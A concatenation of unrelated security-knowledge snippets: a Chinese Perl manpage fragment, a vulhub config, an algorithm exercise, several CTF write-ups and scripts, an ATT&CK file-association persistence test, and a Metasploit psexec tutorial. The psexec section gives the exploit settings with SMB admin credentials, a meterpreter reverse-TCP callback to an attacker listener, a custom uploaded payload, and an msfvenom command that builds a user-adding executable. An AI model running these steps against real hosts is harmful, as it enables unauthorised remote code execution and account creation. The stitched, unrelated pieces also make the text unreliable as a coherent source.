列表的最后可以输入逗号, 所以这样也是正确的:
.PP
.nf
\& @foo = (
\& 1,
\& 2,
\& 3,
\& );
.fi
.PP
要将here-document 赋给数组, 一行作为一个元素, 可以这样作:
.PP
.nf
\& @sauces = <<End_Lines =~ m/(\eS.*\eS)/g;
\& normal tomato
\& spicy tomato
\& green chile
\& pesto
\& white wine
\& End_Lines
.fi
.PP
列表会自动插入子列表. 也即, 下例将展开数组,哈希等, 并将其中的每一个元素作为该新列表的一个元素. 数组或哈希失去其原来的身份.列表
.PP
\& (@foo,@bar,&SomeSub,%glarch)
.PP
包括@foo,@bar的每一个元素,包括函数 SomeSub 返回值列表的每一个元素, 包括 %glarch 的每一个字值对. 要想使用不内插的列表, 可以参见 perlref
.PP
空列表可以表示为(). 在列表中插入空列表没有意义. ((),(),()) 与()相同. 同样, 内插一个空数组也没有意义.
.PP
合并的语法表示开和闭括号都是可选的 (除非为表示优先级需要);而列表可以以可选的逗号结束表示列表中的多个逗号是合法的语法。列表`1,,3'\fR 是两个列表的并置,`1,'\fR 还有3\fR, 第一个以可选的逗号结束。`1,,3'\fR 是`(1,),(3)'\fR 也是`1,3'\fR (类似的,`1,,,3'\fR 是`(1,),(,),3'\fR 也是`1,3'\fR 等等) 不过我们不建议你使用这么混乱的写法
.PP
列表也可以象数组一样使用下标. 为了避免歧义需要在列表外使用括号. 例如:
.PP
.nf
\& # Stat returns list value.
\& $time = (stat($file))[8];
.fi
.PP
.nf
\& # SYNTAX ERROR HERE.
\& $time = stat($file)[8]; # OOPS, FORGOT PARENTHESES
.fi
.PP
.nf
\& # Find a hex digit.
\& $hexdigit = ('a','b','c','d','e','f')[$digit-10];
.fi
.PP
.nf
\& # A "reverse comma operator".
\& return (pop(@foo),pop(@foo))[0];
.fi
.PP
可以给列表赋值, 当然列表中的每个元素必须合法才行:
.PP
\& ($a, $b, $c) = (1, 2, 3);
.PP
\& ($map{'red'}, $map{'blue'}, $map{'green'}) = (0x00f, 0x0f0, 0xf00);
.PP
特例是可以赋值为`undef'\fR。当忽略程序的某些返回值时这很有用:
.PP
\& ($dev, $ino, undef, undef, $uid, $gid) = stat($file);
.PP
列表赋值处于标量上下文中时, 返回值是等号右侧的表达式的元素个数:
.PP
.nf
\& $x = (($foo,$bar) = (3,2,1)); # set $x to 3, not 2
\& $x = (($foo,$bar) = f()); # set $x to f()'s return count
.fi
.PP
这在布尔上下文中很方便, 因为多数列表函数在结束时返回空列表, 这时列表赋值会返回0, 被解释为FALSE.
.PP
它也是一个有用的习惯的来源,就是在列表上下文中执行一个函数或操作,然后记录返回值的个数,方法是为一个空列表赋值,然后在标量上下文中使用这个值。例如,如下代码:
.PP
\& $count = () = $string =~ /\ed+/g;
.PP
将置$count\fR 为$string\fR 中找到的数字组数量。这样能行的原因是模式匹配是列表上下文 (因为它被赋予一个空列表),因此返回所有匹配部分的列表。在标量上下文中的列表赋值将它转换为元素的个数 (这里是模式被匹配的数量),然后赋值给$count\fR。注意简单地使用
.PP
\& $count = $string =~ /\ed+/g;
.PP
没有作用,因为在标量上下文中的模式匹配只会返回 true 或 false,而不是所有的匹配。
.PP
最后一个元素可以是数组或哈希:
.PP
.nf
\& ($a, $b, @rest) = split;
\& my($a, $b, %rest) = @_;
.fi
.PP
当然可以在任何位置使用数组或哈希, 不过第一个数组或哈希会将所有的值都据为己有, 其它的元素都会变为undefined.这在my() 或 local()中或许有用.
.PP
哈希可以用含有字值对的列表来初始化:
.PP
.nf
\& # same as map assignment above
\& %map = ('red',0x00f,'blue',0x0f0,'green',0xf00);
.fi
.PP
列表和数组交互性很强, 哈希则不然. 你可以象使用数组时一样对列表使用下标并不意味着可以象使用哈希一样使用列表. 同样,处于列表中的哈希总是以字值对的形式展开. 因此有时使用引用要更好一些.
.PP
通常在字值对中使用`=>'\fR 操作符会更易读.`=>'\fR 与逗号作用相同, 不过它
还有一个作用, 那就是可以使它左侧的对象被解释为字符串: 如果该对象是裸
字的话,将是合法的标识符 (`=>'\fR 不引用包含双冒号的复合标识符). 这在初始
化哈希时棒极了:
.PP
.nf
\& %map = (
\& red => 0x00f,
\& blue => 0x0f0,
\& green => 0xf00,
\& );
.fi
.PP
或者初始化哈希的引用:
.PP
.nf
\& $rec = {
\& witch => 'Mable the Merciless',
\& cat => 'Fluffy the Ferocious',
\& date => '10/31/1776',
\& };
.fi
.PP
or for using call-by-named-parameter to complicated functions:
.PP
.nf
\& $field = $query->radio_group(
\& name => 'group_name',
\& values => ['eenie','meenie','minie'],
\& default => 'meenie',
\& linebreak => 'true',
\& labels =>\e%labels
\& );
.fi
.PP
注意哈希初始化时的顺序和输出时的顺序并不一定相同. 要得到顺序的输出可以参见 perlfunc 中的\[lq]sort\[rq]
.SS "Subscripts 下标"
.\".IX Subsection "Subscripts"
数组可以用一个美元符号,加上它的名字(不包括前导的`@'\fR),加上方括号和其中包含的下标来取得值。例如:
.PP
.nf
\& @myarray = (5, 50, 500, 5000);
\& print "Element Number 2 is", $myarray[2], "\en";
.fi
.PP
数组下标从 0 开始。负值下标返回从尾部开始数的值。在我们的例子中,$myarray[\-1]\fR 将是 5000,$myarray[\-2]\fR 是 500。
.PP
Hash 下标与此类似,但是不使用方括号而是花括号。例如:
.PP
.nf
\& %scientists =
\& (
\& "Newton" => "Isaac",
\& "Einstein" => "Albert",
\& "Darwin" => "Charles",
\& "Feynman" => "Richard",
\& );
.fi
.PP
\& print "Darwin's First Name is ", $scientists{"Darwin"}, "\en";
.SS "Slices 片段"
.\".IX Subsection "Slices"
通常对哈希或数组一次访问一个元素. 也可以使用下标对列表元素进行访问.
.PP
.nf
\& $whoami = $ENV{"USER"}; # one element from the hash
\& $parent = $ISA[0]; # one element from the array
\& $dir = (getpwnam("daemon"))[7]; # likewise, but with list
.fi
.PP
片段可以一次访问列表,数组或哈希中的几个元素, 这是通过列表下标来实现的. 这比分别写出每个值要方便一些.
.PP
.nf
\& ($him, $her) = @folks[0,-1]; # array slice
\& @them = @folks[0 .. 3]; # array slice
\& ($who, $home) = @ENV{"USER", "HOME"}; # hash slice
\& ($uid, $dir) = (getpwnam("daemon"))[2,7]; # list slice
.fi
.PP
既然可以给列表赋值, 当然也可以哈希或数组的片段赋值.
.PP
.nf
\& @days[3..5] = qw/Wed Thu Fri/;
\& @colors{'red','blue','green'}
\& = (0xff0000, 0x0000ff, 0x00ff00);
\& @folks[0, -1] = @folks[-1, 0];
.fi
.PP
上面的操作与下列语句等价:
.PP
.nf
\& ($days[3], $days[4], $days[5]) = qw/Wed Thu Fri/;
\& ($colors{'red'}, $colors{'blue'}, $colors{'green'})
\& = (0xff0000, 0x0000ff, 0x00ff00);
\& ($folks[0], $folks[-1]) = ($folks[-1], $folks[0]);
.fi
.PP
既然改变片段就会改变数组或哈希的原始值, 那么`foreach'\fR 结构可以部分或全部地改变数组或哈希的值.
.PP
\& foreach (@array[ 4 .. 10 ]) { s/peter/paul/ }
.PP
.nf
\& foreach (@hash{qw[key1 key2]}) {
\& s/^\es+//; # trim leading whitespace
\& s/\es+$//; # trim trailing whitespace
\& s/(\ew+)/\eu\eL$1/g; # "titlecase" words
\& }
.fi
.PP
空列表的片段还是空列表, 因此:
.PP
.nf
\& @a = ()[1,0]; # @a has no elements
\& @b = (@a)[0,1]; # @b has no elements
\& @c = (0,1)[2,3]; # @c has no elements
.fi
.PP
但是:
.PP
.nf
\& @a = (1)[1,0]; # @a has two elements
\& @b = (1,undef)[1,0,2]; # @b has three elements
.fi
.PP
下例利用了这一特性,当返回空列表时循环终止:
.PP
.nf
\& while ( ($home, $user) = (getpwent)[7,0]) {
\& printf "%-8s %s\en", $user, $home;
\& }
.fi
.PP
我们在前面说过, 标量上下文中的列表赋值返回值是右侧的元素个数. 空列表没有元素, 所以当口令文件读完后, 返回值是0而不是2.
.PP
为什么对哈希的片段使用'@'而不是'%'呢. 因为括号的类型(方括号或花括号)决定了它是数组还是哈希. 而数组或哈希的开始字符('$'或'@')表示返回值是单个值还是多个值(列表).
.SS "Typeglobs and Filehandles 全局类型和文件句柄"
.\".IX Subsection "Typeglobs and Filehandles"
Perl 使用叫做 全局类型 的类型来支持整个符号表项. 全局类型的前缀是*, 因为它表示所有的类型. 这在过去通常用来给函数传递数组或哈希的引用, 但是现在有了真正的引用, 这就几乎不需要了.
.PP
现在,全局类型的主要用途是创建符号表别名. 如下赋值:
.PP
\& *this = *that;
.PP
使得$this 成为 $that的别名, @this 成为 @that的别名,%this 成为 %that的别名, &this 成为 &that的别名, 等等. 使用引用会更安全. 这样:
.PP
\& local *Here::blue =\e$There::green;
.PP
暂时使 $Here::blue 成为 $There::green的别名, 但不会使 @Here::blue 成为 @There::green的别名, 也不会使 %Here::blue 成为 %There::green的别名, 等等. 参见 perlmod 中的 Symbol Tables 有多个例子. 看起来可能有些怪异, 不过这却是整个import/export系统的基础.
.PP
全局类型的其它用途还有, 给函数传输文件句柄或是创建新的文件句柄. 如果你要使用全局类型代替文件句柄, 可以这样做:
.PP
\& $fh = *STDOUT;
.PP
或者使用真正的引用, 象这样:
.PP
.nf
\& $fh =\e*STDOUT;
.fi
.PP
参见 perlsub 有关于间接句柄的多个例子.
.PP
全局类型也是使用local() 创建局部文件句柄的一种方法. 作用范围在当前块之内, 但是可以被传回.例如:
.PP
.nf
\& sub newopen {
\& my $path = shift;
\& local *FH; # not my!
\& open (FH, $path) or return undef;
\& return *FH;
\& }
\& $fh = newopen('/etc/passwd');
.fi
.PP
既然我们有*foo{THING} 这样的记法, 全局类型不再多用于文件句柄,但在从函数传出或向函数传入新的文件句柄时它还是必需的.因为*HANDLE{IO} 只有在HANDLE 已经是文件句柄时才起作用. 换言之, 在建立新符号表项时必须使用 *FH; *foo{THING} 是不行的. 不知道该用谁时, 使用 *FH
.PP
所有能创建文件句柄的函数 (open(), opendir(), pipe(), socketpair(), sysopen(), socket(), 和 accept()) ,在传递给它们的句柄是标量时,会自动创建一个匿名句柄. 这使得象open(my $fh, ...) 和 open(local $fh,...) 这样的结构可以创建一个在超出范围时可以自动关闭的句柄,如果没有另外的对它们的引用的话. 这大大减少了全局类型的使用,当需要打开一个可以到处使用的句柄时, 可以这样做:
.PP
.nf
\& sub myopen {
\& open my $fh, "@_"
\& or die "Can't open '@_': $!";
\& return $fh;
\& }
.fi
.PP
.nf
\& {
\& my $f = myopen("</etc/motd");
\& print <$f>;
\& # $f implicitly closed here
\& }
.fi
.PP
注意如果使用了初始化的标量,那么结果会有不同:`my $fh='zzz'; open($fh, ...)'\fR 与`open( *{'zzz'}, ...)'\fR 等价。`use strict 'refs''\fR 禁止了这样做。
.PP
另一个创建匿名句柄的方法是用Symbol 模块或IO::Handle 模块或诸如此类的东西. These modules have the advantage of not hiding different types of the same name during the local(). 在 open() in the perlfunc manpage 的文末有个例子.(译者注:说实话,对匿名句柄我现在也是一头雾水,翻译的不当之处,请高手指出.)
.SH "SEE ALSO 参见"
.\".IX Header "SEE ALSO"
参见 the perlvar manpage 了解 Perl的内建变量和合法变量。参见the perlref manpage, the perlsub manpage, 和 Symbol Tables in the perlmod manpage 了解全局类型和 *foo{THING} 语法。
.SH "中文版维护人"
.B redcandle <redcandle51@nospam.chinaren.com>
.SH "中文版最新更新"
.B 2001年12月4日星期二
.SH "中文手册页翻译计划"
.B http://cmpp.linuxforum.net
|
sec-knowleage
|
version: '2'
services:
postgres:
image: vulhub/postgres:10.7
ports:
- "5432:5432"
environment:
- POSTGRES_PASSWORD=postgres
|
sec-knowleage
|
# 10.4 变态跳台阶
## 题目链接
[牛客网](https://www.nowcoder.com/practice/22243d016f6b47f2a6928b4313c85387?tpId=13&tqId=11162&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking&from=cyc_github)
## 题目描述
一只青蛙一次可以跳上 1 级台阶,也可以跳上 2 级... 它也可以跳上 n 级。求该青蛙跳上一个 n 级的台阶总共有多少种跳法。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/cd411a94-3786-4c94-9e08-f28320e010d5.png" width="380px"> </div><br>
## 解题思路
### 动态规划
```java
public int jumpFloorII(int target) {
int[] dp = new int[target];
Arrays.fill(dp, 1);
for (int i = 1; i < target; i++)
for (int j = 0; j < i; j++)
dp[i] += dp[j];
return dp[target - 1];
}
```
### 数学推导
跳上 n-1 级台阶,可以从 n-2 级跳 1 级上去,也可以从 n-3 级跳 2 级上去...,那么
```
f(n-1) = f(n-2) + f(n-3) + ... + f(0)
```
同样,跳上 n 级台阶,可以从 n-1 级跳 1 级上去,也可以从 n-2 级跳 2 级上去... ,那么
```
f(n) = f(n-1) + f(n-2) + ... + f(0)
```
综上可得
```
f(n) - f(n-1) = f(n-1)
```
即
```
f(n) = 2*f(n-1)
```
所以 f(n) 是一个等比数列
```source-java
public int JumpFloorII(int target) {
return (int) Math.pow(2, target - 1);
}
```
|
sec-knowleage
|
# Me Tarjan, You Jane
Category: Logic, 60 Points
## Description
> Tarjan got lost in the jungle!
>
> Can you help him to find the way to his beloved Jane?
>
> We put our faith in you.
>
> Good Luck!
Two files were attached.
## Solution
Let's take a look at the files.
The first file:
```console
root@kali:/media/sf_CTFs/checkpoint/Me_Tarjan_You_Jane/Tarjan# cat pairs.txt
[[9459011, 9459014], [8834567, 8834570], [16484715, 16484718], [10536999, 10537002], [5360200, 5360202], [9219552, 9219554], [12180815, 12180822], [6840232, 6840234], [9045060, 9045061], [11177208, 11177209], [11759735, 11759737], [14370512, 14370514], [5040815, 10081638], [14104364, 14104365], [5298400, 5298401], [520991, 520993], [4762656, 4762657], [3424404, 3424406], [1955787, 15646330], [15455827, 15455830], [16176083, 16176085], [16746452, 16746453], [5806147, 1451538], [8531676, 8531678], [847235, 6777909], [13936711, 13936714], [4484468, 4484470], [1783775, 1783777], [1515704, 757854], [1362647, 1362650], [9927216, 9927217], [12178935, 12178938], [15606523, 15606526], [8906755, 8906758], [3688248, 3688249], [13860120, 13860121], [7669927, 7669929], [11053915, 11053917], [10777908, 2694478], [12786419, 3196605], [13042600, 13042602], [15378273, 7689137], [15287808, 15287810], [1187667, 1187670], [5977260, 5977261], [8324863, 8324866], [1255851, 10046834], [2811044, 2811046]]
```
Like the name indicates, it's a list of pairs.
The second file:
```console
root@kali:/media/sf_CTFs/checkpoint/Me_Tarjan_You_Jane/Tarjan# xxd -g 1 tree.txt | head
00000000: 21 34 4d 4b 7d 3b 6d 4e 46 34 7e 77 33 25 3e 76 !4MK};mNF4~w3%>v
00000010: 2a 3f 55 68 33 7d 6c 2a 5a 2b 57 4e 3c 71 5d 6b *?Uh3}l*Z+WN<q]k
00000020: 61 65 5a 64 3d 27 52 4a 29 73 61 46 52 35 6f 67 aeZd='RJ)saFR5og
00000030: 3e 2d 75 3c 24 59 6e 78 3c 75 69 2e 40 24 72 44 >-u<$Ynx<ui.@$rD
00000040: 2a 5a 76 23 4d 71 3f 34 28 4e 6e 29 28 77 76 2b *Zv#Mq?4(Nn)(wv+
00000050: 48 72 23 66 35 48 75 67 3e 5e 75 69 2b 7a 53 38 Hr#f5Hug>^ui+zS8
00000060: 48 67 2b 53 64 6b 7b 65 25 3c 75 29 54 4f 59 4c Hg+Sdk{e%<u)TOYL
00000070: 2b 72 44 74 73 79 3e 63 6e 63 2e 21 64 3a 78 43 +rDtsy>cnc.!d:xC
00000080: 5d 27 72 34 6a 5a 6e 62 42 24 22 6c 5d 63 4d 3f ]'r4jZnbB$"l]cM?
00000090: 46 52 5b 40 35 79 6e 7b 27 67 67 30 57 73 42 57 FR[@5yn{'gg0WsBW
root@kali:/media/sf_CTFs/checkpoint/Me_Tarjan_You_Jane/Tarjan# xxd -g 1 tree.txt | tail
00ffff60: 2c 4a 4d 45 29 3c 36 7a 46 78 63 43 48 44 63 2c ,JME)<6zFxcCHDc,
00ffff70: 28 59 4a 7b 36 60 2b 6e 52 5c 44 2f 2d 5e 3a 66 (YJ{6`+nR\D/-^:f
00ffff80: 43 3f 5f 4a 63 44 23 38 6d 58 4c 53 48 53 6a 7a C?_JcD#8mXLSHSjz
00ffff90: 55 3a 61 6c 42 6d 35 6b 40 49 45 67 46 7e 27 6d U:alBm5k@IEgF~'m
00ffffa0: 27 26 5f 33 34 6a 3a 34 2e 3b 24 49 67 63 64 3c '&_34j:4.;$Igcd<
00ffffb0: 7a 69 44 67 46 62 6f 6a 70 7e 40 6d 41 69 24 22 ziDgFbojp~@mAi$"
00ffffc0: 70 63 70 79 70 6c 49 21 43 2b 63 57 21 26 4e 3f pcpyplI!C+cW!&N?
00ffffd0: 65 30 69 28 35 42 22 6a 52 42 59 6a 26 56 7b 39 e0i(5B"jRBYj&V{9
00ffffe0: 35 60 73 6b 5d 44 45 2a 6f 6d 46 69 73 2e 30 6f 5`sk]DE*omFis.0o
00fffff0: 2d 74 49 64 66 4c 4a 4f 35 76 57 22 50 6b 34 -tIdfLJO5vW"Pk4
root@kali:/media/sf_CTFs/checkpoint/Me_Tarjan_You_Jane/Tarjan# ls -lh tree.txt
-rwxrwx--- 1 root vboxsf 16M Apr 29 08:31 tree.txt
```
This file is 16MB of random (printable) data.
Now, we have a `pairs` file, a `tree` file and `Tarjen` in the challenge name, this all points to [Tarjan's off-line lowest common ancestors algorithm](https://en.wikipedia.org/wiki/Tarjan%27s_off-line_lowest_common_ancestors_algorithm). This algorithm, given a list of pairs and a tree, computes the [lowest common ancestors](https://en.wikipedia.org/wiki/Lowest_common_ancestor) of each pair.
Assuming this is true, we first need to determine how the tree is represented in `tree.txt`. If we assume that this is a binary tree, there's a [classic representation using an array](https://en.wikipedia.org/wiki/Binary_tree#Arrays).
For example, the following tree:
```
A
/ \
B C
/ \ /
D E F
```
Is represented as the following array:
```
+---+---+---+---+---+---+
| A | B | C | D | E | F |
+---+---+---+---+---+---+
```
Now, let's continue with our assumptions, and assume that the numbers in the pair-list are node numbers for a complete binary tree indexed as:
```
0
/ \
1 2
/ \ /
3 4 5
```
We assume that the expectation is to find the lowest common ancestor of each pair. For example, given 3 and 4, the answer would be 1. Given 3 and 2, the answer would be 0.
We can implement Tarjan's algorithm but it's a bit complicated and that would be overkill in our case. For a complete binary tree, there's a much more [elegant solution](https://stackoverflow.com/questions/60223983/finding-common-parent-in-perfect-binary-tree).
In short, we move the tree to a 1-based indexing and write each index as a binary number:
```
1
/ \
/ \
/ \
/ \
10 11
/ \ / \
/ \ / \
/ \ / \
100 101 110 111
/ \
/ \
1000 1001
```
In this case, we can see that the encoding of the lowest common ancestor for a pair of nodes is the greatest common prefix of both nodes. For example, For 1000 and 111 the answer is 1, while for 1000 and 101 the answer is 10.
Let's use this to solve the challenge. Once we've found the lowest common ancestor for each pair of nodes, we'll just display the character which is associated with the parent in `tree.txt`.
```python
import json, os, mmap
# https://stackoverflow.com/questions/60223983/
def memory_map(filename, access=mmap.ACCESS_READ):
size = os.path.getsize(filename)
fd = os.open(filename, os.O_RDONLY)
return mmap.mmap(fd, size, access=access)
with open("pairs.txt") as f, memory_map("tree.txt") as tree:
list = json.loads(f.read())
for pair in list:
n1, n2 = pair
# Move from 0-based index to 1-based index:
m1 = n1 + 1
m2 = n2 + 1
# Convert to binary string
b1 = format(m1, 'b')
b2 = format(m2, 'b')
# Find longest common prefix
longest_common_prefix = os.path.commonprefix([b1, b2])
# Convert back to 0-based index
target = int(longest_common_prefix, 2) - 1
print(chr(tree[target]), end = '')
```
Output:
```console
root@kali:/media/sf_CTFs/checkpoint/Me_Tarjan_You_Jane/Tarjan# python3 solve.py
CSA{Put_your_fa1th_1n_what_you_m0st_bel1ev3_in!}
```
|
sec-knowleage
|
# T1546-001-win-事件触发执行-更改默认文件关联
## 来自ATT&CK描述
攻击者可以通过执行由文件类型关联触发的恶意内容来建立持久性。打开文件时,会检查用于打开文件的默认程序(也称为文件关联或处理程序)。文件关联选择存储在 Windows注册表中,可由具有注册表访问权限的用户、管理员或程序或管理员使用内置的assoc实用程序进行编辑。应用程序可以修改给定文件扩展名的文件关联,以在打开具有给定扩展名的文件时调用任意程序。
系统文件关联被列在HKEY_CLASSES_ROOT.[扩展]下,例如HKEY_CLASSES_ROOT.txt。这些条目指向位于HKEY_CLASSES_ROOT[handler]的该扩展的处理程序。然后,各种命令被列在HKEY_CLASSES_ROOT[handler]/shell[action]/command的shell键下的子键。
例如:
`HKEY_CLASSES_ROOT\txtfile\shell\open\command`
`HKEY_CLASSES_ROOT\txtfile\shell\print\command`* `HKEY_CLASSES_ROOT\txtfile\shell\printto\command`
列出的键的值是处理程序打开文件扩展名时执行的命令。攻击者可以修改这些值以连续执行任意命令。
## 测试案例
### 测试1 Change Default File Association
改变默认文件关联从hta的cmd.exe到notepad。
成功执行后,cmd.exe将改变.hta的文件关联为notepad.exe。
攻击命令,用命令提示符运行,需要admin/root权限:
```
assoc #{extension_to_change}=#{target_extension_handler}
```
target_extension_handler:txtfile
extension_to_change:.hta
original_extension_handler:htafile
清理命令:
```
assoc #{extension_to_change}=#{original_extension_handler}
```
## 检测日志
无
## 测试复现
### 测试1 Change Default File Association
```
C:\Users\Administrator.ZHULI>assoc .hta=txtfile
.hta=txtfile
C:\Users\Administrator.ZHULI>assoc .hta=htafile
.hta=htafile
```
## 测试留痕
无
## 检测规则/思路
### 建议
收集和分析注册表键的变化,这些键将文件扩展名与默认应用程序的执行相关联,并与该进程的未知进程启动活动或异常文件类型相关联。
用户文件关联设置在[HKEY_CURRENT_USER]\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts下,并覆盖[HKEY_CLASSES_ROOT]下配置的关联。对用户偏好的改变将发生在这个条目的子键下。
还可以查看进程调用树,用以发现其他行为。
## 相关TIP
[[T1546-002-win-事件触发执行-屏幕保护程序]]
[[T1546-004-linux-.bash_profile and .bashrc]]
[[T1546-007-win-通过netsh key持久化]]
[[T1546-012-win-事件触发执行-图片文件执行选项注入]]
## 参考推荐
MITRE-ATT&CK-T1546-001
<https://attack.mitre.org/techniques/T1546/001>
Atomic-red-team-T1546-001
<https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1546.001/T1546.001.md>
|
sec-knowleage
|
#!/usr/bin/env python2
from flag import FLAG
from gmpy2 import next_prime, powmod
from random import randint, getrandbits
from hashlib import sha512, sha256
from os import urandom
introduction = """
.--. .-------------------------------.
| _| | |
| O O < Hey man, wanna mid some bit ? |
| | | | |
|| | / `-------------------------------'
|`-'|
`---'
Whoever says live is simple, is the one never actually live. :))
"""
def pad(num, length):
result = bin(num).lstrip('0b').strip('L')
result = result + '0' * (length - len(result))
return int(result, 2)
def xor(a, b):
return ''.join(chr(ord(i) ^ ord(j)) for i, j in zip(a, b))
def gen_key():
t1 = randint(768, 928)
t2 = 1024 - t1
if t1 > t2:
t1, t2 = t2, t1
assert t1 < t2
p2 = pad(getrandbits(1024 - t2) << t2, 1024)
p0 = pad(getrandbits(t1), t1)
q2 = pad(getrandbits(1024 - t2) << t2, 1024)
q0 = pad(getrandbits(t1), t1)
r = pad(getrandbits(t2 - t1) << t1, t2)
p = next_prime((p2 ^ r ^ p0))
q = next_prime((q2 ^ r ^ q0))
N = p * q
return N, t2 - t1, p0 - q0
def proof_of_shit():
"""
This function has very special purpose
:)) Simply to screw you up
"""
raw = urandom(6)
print 'prefix = {}'.format(raw.encode('hex'))
challenge = raw_input('Challenge: ')
temp = sha256(raw + challenge).hexdigest()
if temp.startswith('25455'):
return True
else:
return False
if __name__ == "__main__":
try:
assert proof_of_shit() == True
N, delta, gamma = gen_key()
m = int(FLAG.encode('hex'), 16)
c = powmod(m, 0x10001, N)
print introduction
print 'N = {}'.format(N)
print 'delta = {}'.format(delta)
print 'gamma = {}'.format(gamma)
print 'ciphertext = {}'.format(c)
except AssertionError:
print "Take your time and think of the inputs."
|
sec-knowleage
|
MSF的exploit模块下是支持set payload的,同样在复杂的网络环境下,许多模块也同样支持自定义的payload。可以更好的配合第三方框架,如第十一课中提到的Veil-Evasion等。
以exploit/windows/smb/psexec为demo。
攻击机配置如下:
```bash
msf exploit(windows/smb/psexec) > show options
Module options (exploit/windows/smb/psexec):
Name Current Setting Required Description
‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐
RHOST 192.168.1.119 yes The target address
RPORT 445 yes The SMB service port (TCP)
SERVICE_DESCRIPTION no Service description to to be used on target fo rpretty listing
SERVICE_DISPLAY_NAME no The service display name
SERVICE_NAME no The service name
SHARE ADMIN\$ yes The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share
SMBDomain . no The Windows domain to use for authentication
SMBPass 123456 no The password for the specified username
SMBUser administrator no The username to authenticate as Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.1.5 yes The listen address (an interface may be specified)
LPORT 53 yes The listen port
Exploit target:
Id Name
‐‐ ‐‐‐‐
0 Automatic
```

需设置一非,常用选项:
```bash
msf exploit(windows/smb/psexec) > set EXE::CUSTOM /var/www/html/bin_tcp_x86_53.exe
EXE::CUSTOM => /var/www/html/bin_tcp_x86_53.exe
```

靶机当前端口如下:

攻击机执行:

靶机端口变化如下:
虽报错,但并不影响执行。

**注意:**
Psexec创建一个服务后,来运行可执行文件(如Micropoor.exe)。但是将可执行文件作为服务,payload必须接受来自控制管理器的命令,否则将会执行失败。而psexec创建服务后,将随之停止,该payload处于挂起模式。
参考该服务源码:
https://github.com/rapid7/metasploit-framework/blob/master/data/templates/src/pe/exe/service/service.c
payload启动后,将会在过一段时间内退出。并强制终止。
故该参数一般用于adduser。配合adduser_payload。或者配合一次性执行完毕非常连接的payload。如下载。抓明文密码等。不适合需长连接通信的payload。
```bash
root@John:/tmp# msfvenom ‐p windows/adduser PASS=Micropoor$123 USER=Micropoor ‐f exe >adduser.exe
[‐] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[‐] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 279 bytes
Final size of exe file: 73802 bytes
```

**同样可以配合target的改变来解决控制管理器的强制命令接收。**
**攻击机设置:**
```bash
msf exploit(windows/smb/psexec) > show targets
Exploit targets:
Id Name
‐‐ ‐‐‐‐
0 Automatic
1 PowerShell
2 Native upload
3 MOF upload
msf exploit(windows/smb/psexec) > set target 2
target => 2
msf exploit(windows/smb/psexec) > exploit
[*] Started reverse TCP handler on 192.168.1.5:53
[*] 192.168.1.119:445 ‐ Connecting to the server...
[*] 192.168.1.119:445 ‐ Authenticating to 192.168.1.119:445 as user 'administrator'...
[*] 192.168.1.119:445 ‐ Uploading payload... kKwZpPRs.exe
[*] 192.168.1.119:445 ‐ Using custom payload /var/www/html/bin_tcp_x86\_53.exe, RHOST and RPORT settings will be ignored!
[*] 192.168.1.119:445 ‐ Created kKwZpPRs.exe...
[‐] 192.168.1.119:445 ‐ Unable to remove the service, ERROR_CODE:
[‐] 192.168.1.119:445 ‐ Exploit failed: RubySMB::Error::UnexpectedStatusCode STATUS_PIPE_EMPTY
[*] Exploit completed, but no session was created.
```

目标机:

在执行payload即可。
> Micropoor
|
sec-knowleage
|
# Writeup Backdoor CTF 2016
Team: c7f.m0d3, akrasuski1, cr019283, nazywam, msm, shalom
### Table of contents
* [DTune (Misc)](misc_dtune)
* [Mindblown (Crypto)](crypto_mindblown)
* [Worst-pwn-ever (Pwn)](pwn_worst)
* [ISolve (PPC)](ppc_isolve)
* Busybee (Forensics)
* [Collision-course (Crypto)](crypto_collision_course)
* [CRC (Crypto)](crypto_crc)
* Enter-the-matrix
* [Incomplete (Forensics)](for_incomplete)
* Debug (RE)
* Imagelover (Web)
* [Forge (Crypto)](crypto_forge)
* Lossless
* [Infinite paths (Web)](web_infinite_paths)
* [Jigsaw (Misc)](misc_jigsaw)
* [Television (Stegano)](stegano_television)
|
sec-knowleage
|
# Fetcher
15 Points
## Solution
We get a page titled "I issue HTTP requests!" and the ability to enter a URL and click "go".
The developer console outputs the following messages:
```
Loading the code for the Fetcher (15 pt) page. To debug this code, open e9giz.js in Developer Tools.
Did you know you can get a wix site for free? just create a free account and you're good to go!
```
We enter a URL such as `http://www.google.com` and get back the following response in the developer console:
```
Common, we're not going to send our flag to Google, are we? only wix sites are allowed
```
What if we enter a Wix site (e.g. `https://username.wixsite.com/mysite`)? In that case, we get:
```
Yes! we LOVE this URL and we sent our flag your way! did you GET it? no? perhaps this can help https://www.wix.com/velo/reference/wix-http-functions
```
So Wix have the ability to run server side code upon receiving an HTTP request. They probably want us to follow the tutorial and set this up in a new Wix site. When we enter the appropriate URL to the fetcher, they will send up the flag.
So, we setup a Wix site and add the following code:
```javascript
import {fetch} from 'wix-fetch';
export async function perform_requst(data) {
const url = 'https://en6w1e7xzpj5p.x.pipedream.net/';
let fullUrl = url + data;
return fetch(fullUrl, {method: 'get'})
.then(response => response.json())
.then(json => json.main.temp);
}
export function get_flag(request) {
const response = {
"headers": {
"Content-Type": "application/json"
}
};
perform_requst(request)
perform_requst(JSON.stringify(request))
response.body = {
"status": "OK"
};
return ok(response);
}
```
The code receives a get request and sends the request info to our requestbin.
We fetch `https://ctf680.wixsite.com/website/_functions/flag` and get the flag: `thisisyourflag!`.
|
sec-knowleage
|
s = open("generated.h").read()
s = s.split("{")[1].split("}")[0]
s = s.split(",")
s = [int(c, 16) for c in s]
# DECRYPT
key = [0x4b, 0xa9, 0xdc, 0x18][::-1]
for i in range(0x38, 0xa0):
s[i] ^= key[i%4]
key = [0x17, 0xdb, 0x41, 0xdc][::-1]
